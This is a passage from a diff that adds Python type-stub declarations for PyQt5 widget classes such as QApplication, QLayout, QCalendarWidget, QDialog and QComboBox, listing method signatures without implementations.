... + def setShortcut(self, shortcut: typing.Union[QtGui.QKeySequence, QtGui.QKeySequence.StandardKey, str, int]) -> None: ... + def isSeparator(self) -> bool: ... + def setSeparator(self, b: bool) -> None: ... + def setMenu(self, menu: 'QMenu') -> None: ... + def menu(self) -> 'QMenu': ... + def whatsThis(self) -> str: ... + def setWhatsThis(self, what: str) -> None: ... + def statusTip(self) -> str: ... + def setStatusTip(self, statusTip: str) -> None: ... + def toolTip(self) -> str: ... + def setToolTip(self, tip: str) -> None: ... + def iconText(self) -> str: ... + def setIconText(self, text: str) -> None: ... + def text(self) -> str: ... + def setText(self, text: str) -> None: ... + def icon(self) -> QtGui.QIcon: ... + def setIcon(self, icon: QtGui.QIcon) -> None: ... + def actionGroup(self) -> 'QActionGroup': ... + def setActionGroup(self, group: 'QActionGroup') -> None: ... + + +class QActionGroup(QtCore.QObject): + + class ExclusionPolicy(int): + None_ = ... # type: QActionGroup.ExclusionPolicy + Exclusive = ... # type: QActionGroup.ExclusionPolicy + ExclusiveOptional = ... # type: QActionGroup.ExclusionPolicy + + def __init__(self, parent: QtCore.QObject) -> None: ... + + def setExclusionPolicy(self, policy: 'QActionGroup.ExclusionPolicy') -> None: ... + def exclusionPolicy(self) -> 'QActionGroup.ExclusionPolicy': ... + def hovered(self, a0: QAction) -> None: ... + def triggered(self, a0: QAction) -> None: ... + def setExclusive(self, a0: bool) -> None: ... + def setVisible(self, a0: bool) -> None: ... + def setDisabled(self, b: bool) -> None: ... + def setEnabled(self, a0: bool) -> None: ... + def isVisible(self) -> bool: ... + def isEnabled(self) -> bool: ... + def isExclusive(self) -> bool: ... + def checkedAction(self) -> QAction: ... + def actions(self) -> typing.List[QAction]: ... + def removeAction(self, a: QAction) -> None: ... + @typing.overload + def addAction(self, a: QAction) -> QAction: ... + @typing.overload + def addAction(self, text: str) -> QAction: ... + @typing.overload + def addAction(self, icon: QtGui.QIcon, text: str) -> QAction: ... + + +class QApplication(QtGui.QGuiApplication): + + class ColorSpec(int): + NormalColor = ... # type: QApplication.ColorSpec + CustomColor = ... # type: QApplication.ColorSpec + ManyColor = ... # type: QApplication.ColorSpec + + def __init__(self, argv: typing.List[str]) -> None: ... + + def event(self, a0: QtCore.QEvent) -> bool: ... + def setStyleSheet(self, sheet: str) -> None: ... + def setAutoSipEnabled(self, enabled: bool) -> None: ... + @staticmethod + def closeAllWindows() -> None: ... + @staticmethod + def aboutQt() -> None: ... + def focusChanged(self, old: QWidget, now: QWidget) -> None: ... + def styleSheet(self) -> str: ... + def autoSipEnabled(self) -> bool: ... + def notify(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + @staticmethod + def exec() -> int: ... + @staticmethod + def exec_() -> int: ... + @staticmethod + def setEffectEnabled(a0: QtCore.Qt.UIEffect, enabled: bool = ...) -> None: ... + @staticmethod + def isEffectEnabled(a0: QtCore.Qt.UIEffect) -> bool: ... + @staticmethod + def startDragDistance() -> int: ... + @staticmethod + def setStartDragDistance(l: int) -> None: ... + @staticmethod + def startDragTime() -> int: ... + @staticmethod + def setStartDragTime(ms: int) -> None: ... + @staticmethod + def globalStrut() -> QtCore.QSize: ... + @staticmethod + def setGlobalStrut(a0: QtCore.QSize) -> None: ... + @staticmethod + def wheelScrollLines() -> int: ... + @staticmethod + def setWheelScrollLines(a0: int) -> None: ... + @staticmethod + def keyboardInputInterval() -> int: ... + @staticmethod + def setKeyboardInputInterval(a0: int) -> None: ... + @staticmethod + def doubleClickInterval() -> int: ... + @staticmethod + def setDoubleClickInterval(a0: int) -> None: ... + @staticmethod + def cursorFlashTime() -> int: ... + @staticmethod + def setCursorFlashTime(a0: int) -> None: ... + @staticmethod + def alert(widget: QWidget, msecs: int = ...) -> None: ... + @staticmethod + def beep() -> None: ... + @typing.overload + @staticmethod + def topLevelAt(p: QtCore.QPoint) -> QWidget: ... + @typing.overload + @staticmethod + def topLevelAt(x: int, y: int) -> QWidget: ... + @typing.overload + @staticmethod + def widgetAt(p: QtCore.QPoint) -> QWidget: ... + @typing.overload + @staticmethod + def widgetAt(x: int, y: int) -> QWidget: ... + @staticmethod + def setActiveWindow(act: QWidget) -> None: ... + @staticmethod + def activeWindow() -> QWidget: ... + @staticmethod + def focusWidget() -> QWidget: ... + @staticmethod + def activeModalWidget() -> QWidget: ... + @staticmethod + def activePopupWidget() -> QWidget: ... + @staticmethod + def desktop() -> 'QDesktopWidget': ... + @staticmethod + def topLevelWidgets() -> typing.List[QWidget]: ... + @staticmethod + def allWidgets() -> typing.List[QWidget]: ... + @staticmethod + def windowIcon() -> QtGui.QIcon: ... + @staticmethod + def setWindowIcon(icon: QtGui.QIcon) -> None: ... + @staticmethod + def fontMetrics() -> QtGui.QFontMetrics: ... + @staticmethod + def setFont(a0: QtGui.QFont, className: typing.Optional[str] = ...) -> None: ... + @typing.overload + @staticmethod + def font() -> QtGui.QFont: ... + @typing.overload + @staticmethod + def font(a0: QWidget) -> QtGui.QFont: ... + @typing.overload + @staticmethod + def font(className: str) -> QtGui.QFont: ... + @staticmethod + def setPalette(a0: QtGui.QPalette, className: typing.Optional[str] = ...) -> None: ... + @typing.overload + @staticmethod + def palette() -> QtGui.QPalette: ... + @typing.overload + @staticmethod + def palette(a0: QWidget) -> QtGui.QPalette: ... + @typing.overload + @staticmethod + def palette(className: str) -> QtGui.QPalette: ... + @staticmethod + def setColorSpec(a0: int) -> None: ... + @staticmethod + def colorSpec() -> int: ... + @typing.overload + @staticmethod + def setStyle(a0: 'QStyle') -> None: ... + @typing.overload + @staticmethod + def setStyle(a0: str) -> 'QStyle': ... + @staticmethod + def style() -> 'QStyle': ... + + +class QLayoutItem(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QLayoutItem') -> None: ... + + def controlTypes(self) -> 'QSizePolicy.ControlTypes': ... + def setAlignment(self, a: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def spacerItem(self) -> 'QSpacerItem': ... + def layout(self) -> 'QLayout': ... + def widget(self) -> QWidget: ... + def invalidate(self) -> None: ... + def minimumHeightForWidth(self, a0: int) -> int: ... + def heightForWidth(self, a0: int) -> int: ... + def hasHeightForWidth(self) -> bool: ... + def isEmpty(self) -> bool: ... + def geometry(self) -> QtCore.QRect: ... + def setGeometry(self, a0: QtCore.QRect) -> None: ... + def expandingDirections(self) -> QtCore.Qt.Orientations: ... + def maximumSize(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QLayout(QtCore.QObject, QLayoutItem): + + class SizeConstraint(int): + SetDefaultConstraint = ... # type: QLayout.SizeConstraint + SetNoConstraint = ... # type: QLayout.SizeConstraint + SetMinimumSize = ... # type: QLayout.SizeConstraint + SetFixedSize = ... # type: QLayout.SizeConstraint + SetMaximumSize = ... # type: QLayout.SizeConstraint + SetMinAndMaxSize = ... # type: QLayout.SizeConstraint + + @typing.overload + def __init__(self, parent: QWidget) -> None: ... + @typing.overload + def __init__(self) -> None: ... + + def replaceWidget(self, from_: QWidget, to: QWidget, options: typing.Union[QtCore.Qt.FindChildOptions, QtCore.Qt.FindChildOption] = ...) -> QLayoutItem: ... + def controlTypes(self) -> 'QSizePolicy.ControlTypes': ... + def contentsMargins(self) -> QtCore.QMargins: ... + def contentsRect(self) -> QtCore.QRect: ... + def getContentsMargins(self) -> typing.Tuple[int, int, int, int]: ... + @typing.overload + def setContentsMargins(self, left: int, top: int, right: int, bottom: int) -> None: ... + @typing.overload + def setContentsMargins(self, margins: QtCore.QMargins) -> None: ... + def alignmentRect(self, a0: QtCore.QRect) -> QtCore.QRect: ... + def addChildWidget(self, w: QWidget) -> None: ... + def addChildLayout(self, l: 'QLayout') -> None: ... + def childEvent(self, e: QtCore.QChildEvent) -> None: ... + def widgetEvent(self, a0: QtCore.QEvent) -> None: ... + @staticmethod + def closestAcceptableSize(w: QWidget, s: QtCore.QSize) -> QtCore.QSize: ... + def isEnabled(self) -> bool: ... + def setEnabled(self, a0: bool) -> None: ... + def layout(self) -> 'QLayout': ... + def totalSizeHint(self) -> QtCore.QSize: ... + def totalMaximumSize(self) -> QtCore.QSize: ... + def totalMinimumSize(self) -> QtCore.QSize: ... + def totalHeightForWidth(self, w: int) -> int: ... + def isEmpty(self) -> bool: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + @typing.overload + def indexOf(self, a0: QWidget) -> int: ... + @typing.overload + def indexOf(self, a0: QLayoutItem) -> int: ... + def takeAt(self, index: int) -> QLayoutItem: ... + def itemAt(self, index: int) -> QLayoutItem: ... + def setGeometry(self, a0: QtCore.QRect) -> None: ... + def maximumSize(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def expandingDirections(self) -> QtCore.Qt.Orientations: ... + def removeItem(self, a0: QLayoutItem) -> None: ... + def removeWidget(self, w: QWidget) -> None: ... + def addItem(self, a0: QLayoutItem) -> None: ... + def addWidget(self, w: QWidget) -> None: ... + def update(self) -> None: ... + def activate(self) -> bool: ... + def geometry(self) -> QtCore.QRect: ... + def invalidate(self) -> None: ... + def parentWidget(self) -> QWidget: ... + def menuBar(self) -> QWidget: ... + def setMenuBar(self, w: QWidget) -> None: ... + def sizeConstraint(self) -> 'QLayout.SizeConstraint': ... + def setSizeConstraint(self, a0: 'QLayout.SizeConstraint') -> None: ... + @typing.overload + def setAlignment(self, w: QWidget, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> bool: ... + @typing.overload + def setAlignment(self, l: 'QLayout', alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> bool: ... + @typing.overload + def setAlignment(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def setSpacing(self, a0: int) -> None: ... + def spacing(self) -> int: ... + + +class QBoxLayout(QLayout): + + class Direction(int): + LeftToRight = ... # type: QBoxLayout.Direction + RightToLeft = ... # type: QBoxLayout.Direction + TopToBottom = ... # type: QBoxLayout.Direction + BottomToTop = ... # type: QBoxLayout.Direction + Down = ... # type: QBoxLayout.Direction + Up = ... # type: QBoxLayout.Direction + + def __init__(self, direction: 'QBoxLayout.Direction', parent: typing.Optional[QWidget] = ...) -> None: ... + + def insertItem(self, index: int, a1: QLayoutItem) -> None: ... + def stretch(self, index: int) -> int: ... + def setStretch(self, index: int, stretch: int) -> None: ... + def insertSpacerItem(self, index: int, spacerItem: 'QSpacerItem') -> None: ... + def addSpacerItem(self, spacerItem: 'QSpacerItem') -> None: ... + def setSpacing(self, spacing: int) -> None: ... + def spacing(self) -> int: ... + def setGeometry(self, a0: QtCore.QRect) -> None: ... + def count(self) -> int: ... + def takeAt(self, a0: int) -> QLayoutItem: ... + def itemAt(self, a0: int) -> QLayoutItem: ... + def invalidate(self) -> None: ... + def expandingDirections(self) -> QtCore.Qt.Orientations: ... + def minimumHeightForWidth(self, a0: int) -> int: ... + def heightForWidth(self, a0: int) -> int: ... + def hasHeightForWidth(self) -> bool: ... + def maximumSize(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + @typing.overload + def setStretchFactor(self, w: QWidget, stretch: int) -> bool: ... + @typing.overload + def setStretchFactor(self, l: QLayout, stretch: int) -> bool: ... + def insertLayout(self, index: int, layout: QLayout, stretch: int = ...) -> None: ... + def insertWidget(self, index: int, widget: QWidget, stretch: int = ..., alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + def insertStretch(self, index: int, stretch: int = ...) -> None: ... + def insertSpacing(self, index: int, size: int) -> None: ... + def addItem(self, a0: QLayoutItem) -> None: ... + def addStrut(self, a0: int) -> None: ... + def addLayout(self, layout: QLayout, stretch: int = ...) -> None: ... + def addWidget(self, a0: QWidget, stretch: int = ..., alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] = ...) -> None: ... + def addStretch(self, stretch: int = ...) -> None: ... + def addSpacing(self, size: int) -> None: ... + def setDirection(self, a0: 'QBoxLayout.Direction') -> None: ... + def direction(self) -> 'QBoxLayout.Direction': ... + + +class QHBoxLayout(QBoxLayout): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, parent: QWidget) -> None: ... + + +class QVBoxLayout(QBoxLayout): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, parent: QWidget) -> None: ... + + +class QButtonGroup(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def idToggled(self, a0: int, a1: bool) -> None: ... + def idReleased(self, a0: int) -> None: ... + def idPressed(self, a0: int) -> None: ... + def idClicked(self, a0: int) -> None: ... + @typing.overload + def buttonToggled(self, a0: QAbstractButton, a1: bool) -> None: ... + @typing.overload + def buttonToggled(self, a0: int, a1: bool) -> None: ... + @typing.overload + def buttonReleased(self, a0: QAbstractButton) -> None: ... + @typing.overload + def buttonReleased(self, a0: int) -> None: ... + @typing.overload + def buttonPressed(self, a0: QAbstractButton) -> None: ... + @typing.overload + def buttonPressed(self, a0: int) -> None: ... + @typing.overload + def buttonClicked(self, a0: QAbstractButton) -> None: ... + @typing.overload + def buttonClicked(self, a0: int) -> None: ... + def checkedId(self) -> int: ... + def id(self, button: QAbstractButton) -> int: ... + def setId(self, button: QAbstractButton, id: int) -> None: ... + def checkedButton(self) -> QAbstractButton: ... + def button(self, id: int) -> QAbstractButton: ... + def buttons(self) -> typing.List[QAbstractButton]: ... + def removeButton(self, a0: QAbstractButton) -> None: ... + def addButton(self, a0: QAbstractButton, id: int = ...) -> None: ... + def exclusive(self) -> bool: ... + def setExclusive(self, a0: bool) -> None: ... + + +class QCalendarWidget(QWidget): + + class SelectionMode(int): + NoSelection = ... # type: QCalendarWidget.SelectionMode + SingleSelection = ... # type: QCalendarWidget.SelectionMode + + class VerticalHeaderFormat(int): + NoVerticalHeader = ... # type: QCalendarWidget.VerticalHeaderFormat + ISOWeekNumbers = ... # type: QCalendarWidget.VerticalHeaderFormat + + class HorizontalHeaderFormat(int): + NoHorizontalHeader = ... # type: QCalendarWidget.HorizontalHeaderFormat + SingleLetterDayNames = ... # type: QCalendarWidget.HorizontalHeaderFormat + ShortDayNames = ... # type: QCalendarWidget.HorizontalHeaderFormat + LongDayNames = ... # type: QCalendarWidget.HorizontalHeaderFormat + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setCalendar(self, calendar: QtCore.QCalendar) -> None: ... + def calendar(self) -> QtCore.QCalendar: ... + def setNavigationBarVisible(self, visible: bool) -> None: ... + def setDateEditAcceptDelay(self, delay: int) -> None: ... + def dateEditAcceptDelay(self) -> int: ... + def setDateEditEnabled(self, enable: bool) -> None: ... + def isDateEditEnabled(self) -> bool: ... + def isNavigationBarVisible(self) -> bool: ... + def selectionChanged(self) -> None: ... + def currentPageChanged(self, year: int, month: int) -> None: ... + def clicked(self, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def activated(self, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def showToday(self) -> None: ... + def showSelectedDate(self) -> None: ... + def showPreviousYear(self) -> None: ... + def showPreviousMonth(self) -> None: ... + def showNextYear(self) -> None: ... + def showNextMonth(self) -> None: ... + def setSelectedDate(self, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def setDateRange(self, min: typing.Union[QtCore.QDate, datetime.date], max: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def setCurrentPage(self, year: int, month: int) -> None: ... + def paintCell(self, painter: QtGui.QPainter, rect: QtCore.QRect, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def keyPressEvent(self, event: QtGui.QKeyEvent) -> None: ... + def resizeEvent(self, event: QtGui.QResizeEvent) -> None: ... + def mousePressEvent(self, event: QtGui.QMouseEvent) -> None: ... + def eventFilter(self, watched: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def updateCells(self) -> None: ... + def updateCell(self, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def setDateTextFormat(self, date: typing.Union[QtCore.QDate, datetime.date], color: QtGui.QTextCharFormat) -> None: ... + @typing.overload + def dateTextFormat(self) -> typing.Dict[QtCore.QDate, QtGui.QTextCharFormat]: ... + @typing.overload + def dateTextFormat(self, date: typing.Union[QtCore.QDate, datetime.date]) -> QtGui.QTextCharFormat: ... + def setWeekdayTextFormat(self, dayOfWeek: QtCore.Qt.DayOfWeek, format: QtGui.QTextCharFormat) -> None: ... + def weekdayTextFormat(self, dayOfWeek: QtCore.Qt.DayOfWeek) -> QtGui.QTextCharFormat: ... + def setHeaderTextFormat(self, format: QtGui.QTextCharFormat) -> None: ... + def headerTextFormat(self) -> QtGui.QTextCharFormat: ... + def setVerticalHeaderFormat(self, format: 'QCalendarWidget.VerticalHeaderFormat') -> None: ... + def verticalHeaderFormat(self) -> 'QCalendarWidget.VerticalHeaderFormat': ... + def setHorizontalHeaderFormat(self, format: 'QCalendarWidget.HorizontalHeaderFormat') -> None: ... + def horizontalHeaderFormat(self) -> 'QCalendarWidget.HorizontalHeaderFormat': ... + def setSelectionMode(self, mode: 'QCalendarWidget.SelectionMode') -> None: ... + def selectionMode(self) -> 'QCalendarWidget.SelectionMode': ... + def setGridVisible(self, show: bool) -> None: ... + def isGridVisible(self) -> bool: ... + def setFirstDayOfWeek(self, dayOfWeek: QtCore.Qt.DayOfWeek) -> None: ... + def firstDayOfWeek(self) -> QtCore.Qt.DayOfWeek: ... + def setMaximumDate(self, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def maximumDate(self) -> QtCore.QDate: ... + def setMinimumDate(self, date: typing.Union[QtCore.QDate, datetime.date]) -> None: ... + def minimumDate(self) -> QtCore.QDate: ... + def monthShown(self) -> int: ... + def yearShown(self) -> int: ... + def selectedDate(self) -> QtCore.QDate: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QCheckBox(QAbstractButton): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + def initStyleOption(self, option: 'QStyleOptionButton') -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def nextCheckState(self) -> None: ... + def checkStateSet(self) -> None: ... + def hitButton(self, pos: QtCore.QPoint) -> bool: ... + def stateChanged(self, a0: int) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def setCheckState(self, state: QtCore.Qt.CheckState) -> None: ... + def checkState(self) -> QtCore.Qt.CheckState: ... + def isTristate(self) -> bool: ... + def setTristate(self, on: bool = ...) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QDialog(QWidget): + + class DialogCode(int): + Rejected = ... # type: QDialog.DialogCode + Accepted = ... # type: QDialog.DialogCode + + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def eventFilter(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + def contextMenuEvent(self, a0: QtGui.QContextMenuEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def closeEvent(self, a0: QtGui.QCloseEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def rejected(self) -> None: ... + def finished(self, result: int) -> None: ... + def accepted(self) -> None: ... + def open(self) -> None: ... + def reject(self) -> None: ... + def accept(self) -> None: ... + def done(self, a0: int) -> None: ... + def exec(self) -> int: ... + def exec_(self) -> int: ... + def setResult(self, r: int) -> None: ... + def setModal(self, modal: bool) -> None: ... + def isSizeGripEnabled(self) -> bool: ... + def setSizeGripEnabled(self, a0: bool) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def setVisible(self, visible: bool) -> None: ... + def result(self) -> int: ... + + +class QColorDialog(QDialog): + + class ColorDialogOption(int): + ShowAlphaChannel = ... # type: QColorDialog.ColorDialogOption + NoButtons = ... # type: QColorDialog.ColorDialogOption + DontUseNativeDialog = ... # type: QColorDialog.ColorDialogOption + + class ColorDialogOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QColorDialog.ColorDialogOptions', 'QColorDialog.ColorDialogOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QColorDialog.ColorDialogOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QColorDialog.ColorDialogOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, initial: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor], parent: typing.Optional[QWidget] = ...) -> None: ... + + def setVisible(self, visible: bool) -> None: ... + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def options(self) -> 'QColorDialog.ColorDialogOptions': ... + def setOptions(self, options: typing.Union['QColorDialog.ColorDialogOptions', 'QColorDialog.ColorDialogOption']) -> None: ... + def testOption(self, option: 'QColorDialog.ColorDialogOption') -> bool: ... + def setOption(self, option: 'QColorDialog.ColorDialogOption', on: bool = ...) -> None: ... + def selectedColor(self) -> QtGui.QColor: ... + def currentColor(self) -> QtGui.QColor: ... + def setCurrentColor(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def done(self, result: int) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + def currentColorChanged(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def colorSelected(self, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + @staticmethod + def setStandardColor(index: int, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + @staticmethod + def standardColor(index: int) -> QtGui.QColor: ... + @staticmethod + def setCustomColor(index: int, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + @staticmethod + def customColor(index: int) -> QtGui.QColor: ... + @staticmethod + def customCount() -> int: ... + @staticmethod + def getColor(initial: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor] = ..., parent: typing.Optional[QWidget] = ..., title: str = ..., options: typing.Union['QColorDialog.ColorDialogOptions', 'QColorDialog.ColorDialogOption'] = ...) -> QtGui.QColor: ... + + +class QColumnView(QAbstractItemView): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def currentChanged(self, current: QtCore.QModelIndex, previous: QtCore.QModelIndex) -> None: ... + def rowsInserted(self, parent: QtCore.QModelIndex, start: int, end: int) -> None: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def verticalOffset(self) -> int: ... + def horizontalOffset(self) -> int: ... + def visualRegionForSelection(self, selection: QtCore.QItemSelection) -> QtGui.QRegion: ... + def setSelection(self, rect: QtCore.QRect, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def resizeEvent(self, event: QtGui.QResizeEvent) -> None: ... + def moveCursor(self, cursorAction: QAbstractItemView.CursorAction, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> QtCore.QModelIndex: ... + def isIndexHidden(self, index: QtCore.QModelIndex) -> bool: ... + def initializeColumn(self, column: QAbstractItemView) -> None: ... + def createColumn(self, rootIndex: QtCore.QModelIndex) -> QAbstractItemView: ... + def updatePreviewWidget(self, index: QtCore.QModelIndex) -> None: ... + def selectAll(self) -> None: ... + def setRootIndex(self, index: QtCore.QModelIndex) -> None: ... + def setSelectionModel(self, selectionModel: QtCore.QItemSelectionModel) -> None: ... + def setModel(self, model: QtCore.QAbstractItemModel) -> None: ... + def visualRect(self, index: QtCore.QModelIndex) -> QtCore.QRect: ... + def sizeHint(self) -> QtCore.QSize: ... + def scrollTo(self, index: QtCore.QModelIndex, hint: QAbstractItemView.ScrollHint = ...) -> None: ... + def indexAt(self, point: QtCore.QPoint) -> QtCore.QModelIndex: ... + def setResizeGripsVisible(self, visible: bool) -> None: ... + def setPreviewWidget(self, widget: QWidget) -> None: ... + def setColumnWidths(self, list: typing.Iterable[int]) -> None: ... + def resizeGripsVisible(self) -> bool: ... + def previewWidget(self) -> QWidget: ... + def columnWidths(self) -> typing.List[int]: ... + + +class QComboBox(QWidget): + + class SizeAdjustPolicy(int): + AdjustToContents = ... # type: QComboBox.SizeAdjustPolicy + AdjustToContentsOnFirstShow = ... # type: QComboBox.SizeAdjustPolicy + AdjustToMinimumContentsLength = ... # type: QComboBox.SizeAdjustPolicy + AdjustToMinimumContentsLengthWithIcon = ... # type: QComboBox.SizeAdjustPolicy + + class InsertPolicy(int): + NoInsert = ... # type: QComboBox.InsertPolicy + InsertAtTop = ... # type: QComboBox.InsertPolicy + InsertAtCurrent = ... # type: QComboBox.InsertPolicy + InsertAtBottom = ... # type: QComboBox.InsertPolicy + InsertAfterCurrent = ... # type: QComboBox.InsertPolicy + InsertBeforeCurrent = ... # type: QComboBox.InsertPolicy + InsertAlphabetically = ... # type: QComboBox.InsertPolicy + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def placeholderText(self) -> str: ... + def setPlaceholderText(self, placeholderText: str) -> None: ... + def textHighlighted(self, a0: str) -> None: ... + def textActivated(self, a0: str) -> None: ... + def currentData(self, role: int = ...) -> typing.Any: ... + @typing.overload + def inputMethodQuery(self, a0: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + @typing.overload + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery, argument: typing.Any) -> typing.Any: ... + def inputMethodEvent(self, a0: QtGui.QInputMethodEvent) -> None: ... + def contextMenuEvent(self, e: QtGui.QContextMenuEvent) -> None: ... + def wheelEvent(self, e: QtGui.QWheelEvent) -> None: ... + def keyReleaseEvent(self, e: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, e: QtGui.QKeyEvent) -> None: ... + def mouseReleaseEvent(self, e: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, e: QtGui.QMouseEvent) -> None: ... + def hideEvent(self, e: QtGui.QHideEvent) -> None: ... + def showEvent(self, e: QtGui.QShowEvent) -> None: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def resizeEvent(self, e: QtGui.QResizeEvent) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + def focusOutEvent(self, e: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, e: QtGui.QFocusEvent) -> None: ... + def initStyleOption(self, option: 'QStyleOptionComboBox') -> None: ... + @typing.overload + def highlighted(self, index: int) -> None: ... + @typing.overload + def highlighted(self, a0: str) -> None: ... + def currentTextChanged(self, a0: str) -> None: ... + @typing.overload + def currentIndexChanged(self, index: int) -> None: ... + @typing.overload + def currentIndexChanged(self, a0: str) -> None: ... + @typing.overload + def activated(self, index: int) -> None: ... + @typing.overload + def activated(self, a0: str) -> None: ... + def editTextChanged(self, a0: str) -> None: ... + def setCurrentText(self, text: str) -> None: ... + def setEditText(self, text: str) -> None: ... + def clearEditText(self) -> None: ... + def clear(self) -> None: ... + def insertSeparator(self, index: int) -> None: ... + def completer(self) -> 'QCompleter': ... + def setCompleter(self, c: 'QCompleter') -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def hidePopup(self) -> None: ... + def showPopup(self) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def setView(self, itemView: QAbstractItemView) -> None: ... + def view(self) -> QAbstractItemView: ... + def setItemData(self, index: int, value: typing.Any, role: int = ...) -> None: ... + def setItemIcon(self, index: int, icon: QtGui.QIcon) -> None: ... + def setItemText(self, index: int, text: str) -> None: ... + def removeItem(self, index: int) -> None: ... + def insertItems(self, index: int, texts: typing.Iterable[str]) -> None: ... + @typing.overload + def insertItem(self, index: int, text: str, userData: typing.Any = ...) -> None: ... + @typing.overload + def insertItem(self, index: int, icon: QtGui.QIcon, text: str, userData: typing.Any = ...) -> None: ... + @typing.overload + def addItem(self, text: str, userData: typing.Any = ...) -> None: ... + @typing.overload + def addItem(self, icon: QtGui.QIcon, text: str, userData: typing.Any = ...) -> None: ... + def addItems(self, texts: typing.Iterable[str]) -> None: ... + def itemData(self, index: int, role: int = ...) -> typing.Any: ... + def itemIcon(self, index: int) -> QtGui.QIcon: ... + def itemText(self, index: int) -> str: ... + def currentText(self) -> str: ... + def setCurrentIndex(self, index: int) -> None: ... + def currentIndex(self) -> int: ... + def setModelColumn(self, visibleColumn: int) -> None: ... + def modelColumn(self) -> int: ... + def setRootModelIndex(self, index: QtCore.QModelIndex) -> None: ... + def rootModelIndex(self) -> QtCore.QModelIndex: ... + def setModel(self, model: QtCore.QAbstractItemModel) -> None: ... + def model(self) -> QtCore.QAbstractItemModel: ... + def setItemDelegate(self, delegate: QAbstractItemDelegate) -> None: ... + def itemDelegate(self) -> QAbstractItemDelegate: ... + def validator(self) -> QtGui.QValidator: ... + def setValidator(self, v: 